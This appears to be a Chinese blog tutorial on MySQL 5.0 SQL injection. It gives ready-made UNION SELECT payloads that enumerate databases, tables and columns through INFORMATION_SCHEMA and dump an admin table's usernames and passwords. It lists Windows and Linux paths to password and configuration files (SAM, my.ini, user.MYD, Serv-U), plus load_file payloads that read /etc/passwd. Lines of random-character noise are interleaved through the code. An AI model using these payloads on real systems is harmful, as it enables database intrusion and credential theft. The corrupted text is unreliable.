mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。


0 {2 p" \" P: B- ^* r
5 [( O  Q$ [5 f% U8 BMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
0 T6 C$ f& h5 Y% n9 S明。
- q7 m: R; C6 k5 }; Y: W1.得到所有数据库名：
/ r5 q2 ^3 D, ^2 y5 r|SCHEMATA ->存储数据库名的表
4 k6 ?/ @  ?1 p/ w4 g8 {6 J|—字段：SCHEMA_NAME ->数据库名称

|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
7 {) U0 P& s! K0 P2 ?  U: t. }5 H|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

  E& e- X2 v* x, W2 t$ F/ V& S7 i|—字段：COLUMN_NAME ->该字段的名称
  K6 {( Z7 \+ ~; K8 e0 B8 o6 F4 A
#########################################################################
2 V6 X1 G: M2 g) {+ i##

& h0 n* i. y; \; O0×001 获取系统信息:
: g& J& @  r, P
union select 1,2,3,4,5,concat
" X5 |$ }* d+ p; }(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
$ L6 u8 m  o0 w2 V4 i(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
* i3 n1 e( r+ r. l4 c
& g9 R4 z  g  C( |' K! w- D/*
& G2 d5 d/ j0 A& V) U- r! B
( E% g7 g5 C2 n8 [$ Q# t; x$ I% P( j1 M@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
. m% O7 F5 R% mdatabase() 当前数据库名称
0x3c62723e 换行HEX值
: i0 o4 Z2 T' E. J1 f. L
, [) c6 I: W, S5 f1 q0 f0 W*/
* f  i* {. s7 ~5 ~: z3 g
######################################################################
' p6 a4 t0 a% F( z* V6 h4 [
0×002 获取表名
. g- O2 {0 r# i5 u
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
- W6 n& V- m8 w1 d% u6 vinformation_schema.tables where table_schema=0x67617264656e /*

/*
5 [/ D3 }+ B- n
0x67617264656e 为当前数据库名
0 P* {& j3 Y$ v$ [4 ^
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
# @* a0 \0 u/ Q+ a8 U( B
*/
, y5 P2 w* i  \+ b3 j+ p
######################################################################
5 V5 ]& z/ y7 |( E& e
0×003 获取字段

' q5 w. E' N3 C' f+ bunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and


! ?. g  X* F* m- |3 E/ Q  Wtable_schema=0x67617264656e limit 1 /*
$ B4 E7 k! L$ z7 b6 S9 x- p4 Q: s
/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表

! k% X! b! E' O3 c! |5 a0x67617264656e ->数据库名
8 E" Y2 y/ t) ]8 l
*/
( A: F9 @7 X, B" e" `; g
#####################################################################

0×004 获取数据

5 _4 ^* v, t" J: Eunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

: S4 d( {7 M& Y' g. a6 N" }5 Xunion select 1,group_concat(id),group_concat(adname),4,5,group_concat
) G9 O; ~/ f' }; e+ ]- ^(adpassword),6,7,8 from admin

/*
8 [. w6 H4 z8 X# o
0x3c62723e 换行符号HEX编码
" O* ?4 z' J  c* h/ O% ~, j
0 |0 N6 ~' H! ]4 \" Z% dgroup_concat 同时获得该字段所有数据

, v8 d, G3 P3 m$ Q9 v*/

' \5 h  a% Z$ F
, E8 Z- _4 u9 o% b7 g% Y
% `' f- b& H7 i. _! J$ O7 F# X
7 [+ F3 k6 H$ c& f/ \" \( |
顺便添加一些mysql注入时非常有用的一些东西
! L  D3 D8 C8 N5 m" j
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
. h5 ^( V! h: D2 w+ a4 `( i: y9 n9 ]
1:system_user() 系统用户名
9 G2 p; s9 b$ e0 G+ i! E2:user()        用户名
4 q  E- v& S2 v2 l5 Y( E3:current_user()  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
4 e* g5 J) z" a4 a8@datadir     读取数据库路径
7 F6 P: d/ m9 G/ @" ?/ Z9@basedir    MYSQL 安装路径
. d7 S* e3 t6 q8 J# S10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
  P5 d. D5 f) Y, TWINDOWS下:
c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
2 U( m/ s/ q( \$ f) Q  @& _c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
- y! C# K5 o7 I: t/ ^c:/winnt/php.ini
c:/winnt/my.ini
) A: o; I0 Q+ T, J" o& }) \c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
+ H, ?) J3 U1 F8 |# h6 J8 r2 y0 w  lc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
: G) G# u4 ~! X" T' g9 Wc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
  W& E" n, D  k) K- kC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
9 W9 u2 k' z5 [7 y* ec:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
& u* F9 x2 a. M+ h  c( g& _

c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
) ?. u9 i" M4 R) z2 XC:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
6 M5 a! c' I2 S7 w* y/usr/local/apache2/conf/httpd.conf
/ _2 n6 h) ~. J, }/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
- W4 G1 L& s. l! S3 X) R/ X, Q/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
6 i" N/ f& G. B" {9 t' @/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
0 c) b1 U" Z8 n9 b$ u/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
0 E+ ~. f6 B! Q/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
# V, ^1 u& E7 ]. A" E/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
; P. f+ x; y  @2 ?3 b/ t/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
" {( Y2 s& a' E4 L9 F. C/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
& ^; \* q- |" h- v: k. a2 ureplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
% H! y9 O( n( O1 sreplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
/ k; D+ k, Z" }# u  P1 T4 C